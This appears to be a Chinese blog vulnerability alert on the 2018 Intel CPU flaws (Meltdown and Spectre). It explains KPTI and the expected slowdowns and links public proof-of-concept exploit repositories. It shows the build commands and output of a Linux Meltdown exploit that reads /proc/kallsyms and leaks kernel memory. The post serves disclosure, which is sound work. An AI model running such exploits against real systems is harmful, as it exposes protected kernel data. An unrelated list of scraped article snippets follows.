【漏洞预警】Intel爆CPU设计问题,导致win和Linux内核重设计(附测试poc)

目前研究人员正抓紧检查 Linux 内核的安全问题,与此同时,微软也预计将在本月补丁日公开介绍 Windows 操作系统的相关变更。
而 Linux 和 Windows 系统的这些更新势必会对 Intel 的产品线造成冲击,预计可能会出现 5% 到 30% 的性能下降,具体还和处理器型号有关。
苹果的 macOS 也将需要进行更新,此缺陷也影响 Intel x86-64 的硬件,并且通过 microcode 更新无法解决此问题,必须是在系统级别的软件中进行修复,或者购买新的处理器。
过去十多年中生产的处理器都受到了影响,漏洞允许普通的 ring3 层应用(从数据库应用到 Web 浏览器)在一定程度上识别受到保护的内核空间布局。
而解决方法则是使用所谓的内核页表隔离机制(KPTI)将内核空间与用户进程完全分开,也就是将内核移入一个完全独立的地址空间,因此设备的运行速度将会大幅减慢。

影响CPU如上图所示
国外一小哥自己已经测试了

目前来,真正利用的exp并未公布

下面附上一个win的poc,可信度请自测。
poc:https://github.com/turbo/KPTI-PoC-Collection

具体来说,这次是爆出两个漏洞。
刚找到个spectre的利用poc:https://github.com/Eugnis/spectre-attack
paper中给出了JS利用思路
paper地址:https://spectreattack.com/
下载其中的PDF查看就行。
spectre中JS的利用思路如下
但因js的危害太大,连poc都不敢放出来

最新更新(2018年1月5日16:46:01)
附上Linux的利用exp:https://github.com/paboldin/meltdown-exploit
$ make
cc -O0 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
+ sudo awk /linux_proc_banner/ { print $ } /proc/kallsyms
+ ./meltdown ffffffffa3e000a0
ffffffffa3e000a0 = %
ffffffffa3e000a1 = s
ffffffffa3e000a2 =
ffffffffa3e000a3 = v
ffffffffa3e000a4 = e
ffffffffa3e000a5 = r
ffffffffa3e000a6 = s
ffffffffa3e000a7 = )
ffffffffa3e000a8 = o
ffffffffa3e000a9 = f
ffffffffa3e000aa =
ffffffffa3e000ab =
ffffffffa3e000ac = s
ffffffffa3e000ad =
ffffffffa3e000ae = (
ffffffffa3e000af = b
ffffffffa3e000b0 = U
ffffffffa3e000b1 = i
ffffffffa3e000b2 = l
ffffffffa3e000b3 = d
ffffffffa3e000b4 = d
ffffffffa3e000b5 = @
windows的poc执行截图:



切记,windows代码编译时用vs2012以上的版本,64位的机器
参考原文:
https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/
https://www.zhihu.com/question/265012502
【漏洞预警】Intel爆CPU设计问题,导致win和Linux内核重设计(附测试poc)的更多相关文章
- ATT汇编与Intel汇编的区别,摘自《深入分析linux内核源码》一书
2.6.1 AT&T与Intel汇编语言的比较 我们知道,Linux是Unix家族的一员,尽管Linux的历史不长,但与其相关的很多事情都发源于Unix.就Linux所使用的386汇编语言而言 ...
- 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞
这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞.Linux kernel团队已经对此进行了修复. 漏 ...
- 读书笔记2013-2 Linux内核设计与实现A
读书笔记2013-2 Linux内核设计与实现A <Linux内核设计与实现> 简介 这本书不是想Linux源码剖析那样一行行分析Linux源代码的书,而是从Linux历史,Linux哲学 ...
- 把握linux内核设计思想系列【转】
转自:http://blog.csdn.net/shallnet/article/details/47734053 版权声明:本文为博主原创文章,未经博主允许不得转载.如果您觉得文章对您有用,请点击文 ...
- 把握linux内核设计思想系列
[版权声明:尊重原创,转载请保留出处:blog.csdn.net/shallnet,文章仅供学习交流,请勿用于商业用途] 本专栏分析linux内核的设计实现,包含系统调用.中断.下半部机制.时间管理. ...
- Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面
摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...
- Intel系列CPU的流水线技术的发展
Intel系列CPU的流水线技术的发展 CPU(Central processing Unit),又称“微处理器(Microprocessor)”,是现代计算机的核心部件.对于PC而言,CPU的规格与 ...
- CPU指令集不同导致的core分析
最近程序需要支持CGSL系统运行,测试中发现相同操作系统的两台机器,编译机运行正常,测试机coredump.core信息汇总如下,可以看出是由于测试机不支持编译后的指令导致的问题: Program t ...
- AMD和Intel的CPU对比
http://www.lotpc.com/yjzs/5825.html 推荐文章:小白看AMD与intel的cpu架构,AMD慢的原因 CPU核心的发展方向是更低的电压.更低的功耗.更先进的制造工艺. ...
随机推荐
- windbg分析net程序内存泄漏问题
1 问题简介 有客户反馈,打了最新补丁后,服务器的内存暴涨,一直降不下来,程序非常卡.在客户的服务器上抓了一个dump文件,开始分析. 分析问题的思路: 1.找到是那些资源占用了大量内存? ...
- js中同步与异步处理方法
在使用异步请求时,有时需要将异步请求的结果返回给另一个js函数,此种情况下会出现未等异步请求返回请求结果,该发送请求所在js函数已经执行完后续操作,即已经执行return ,这样会导致return的结 ...
- pytorch--cnn的理解
class Model(nn.Module): def __init__(self): super(Model, self).__init__() self.conv1 = nn.Conv2d(1, ...
- 遍历 USB devcie,读取设备描述符 device descriptor【转】
转自:http://blog.csdn.net/flyyyri/article/details/5480347 理论: 对于USB接口的设备,现在越来越多了.本篇我们就通过获取一个USB扫描仪设 ...
- python configparser配置文件解析器
一.Configparser 此模块提供实现基本配置语言的ConfigParser类,该语言提供类似于Microsoft Windows INI文件中的结构.我们经常会在一些软件安装目录下看到.ini ...
- Python匿名函数详解
python 使用 lambda 来创建匿名函数. lambda这个名称来自于LISP,而LISP则是从lambda calculus(一种符号逻辑形式)取这个名称的. 在Python中,lambda ...
- CSS--盒子模型详解
目录 图解 盒模型尺寸基准 使用浏览器的开发者工具,查看元素高(宽)度时,遇到的问题 一.图解 说明:由内而外依次是content.padding(内边距).border(边框).margin(外边距 ...
- Git 撤销操作、删除文件和恢复文件
大致介绍 经过前面的学习,已经建立了版本库,并上传了文件,这次来学习对这些文件进行基本的操作,即: ◆ 撤销操作 ◆ 删除文件 ◆ 恢复文件 我在此之前,已经将三个文件提交到了版本库 撤销操作 撤销操 ...
- Struts 2 Tutorial Basic MVC Architecture
Model View Controller or MVC as it is popularly called, is a software design pattern for developing ...
- hdu 1171 有num1个w1 , num2个w2 ……. (母函数)
输入n,代表学院里面有n种设备,并且在下面输入n行,每一行输入v,m代表设备的价格为v,设备的数量是m.然后要求把这些设备的总价值分摊,尽量平分,使其总价值接近相等,最好是相等 比如样例二(1+X10 ...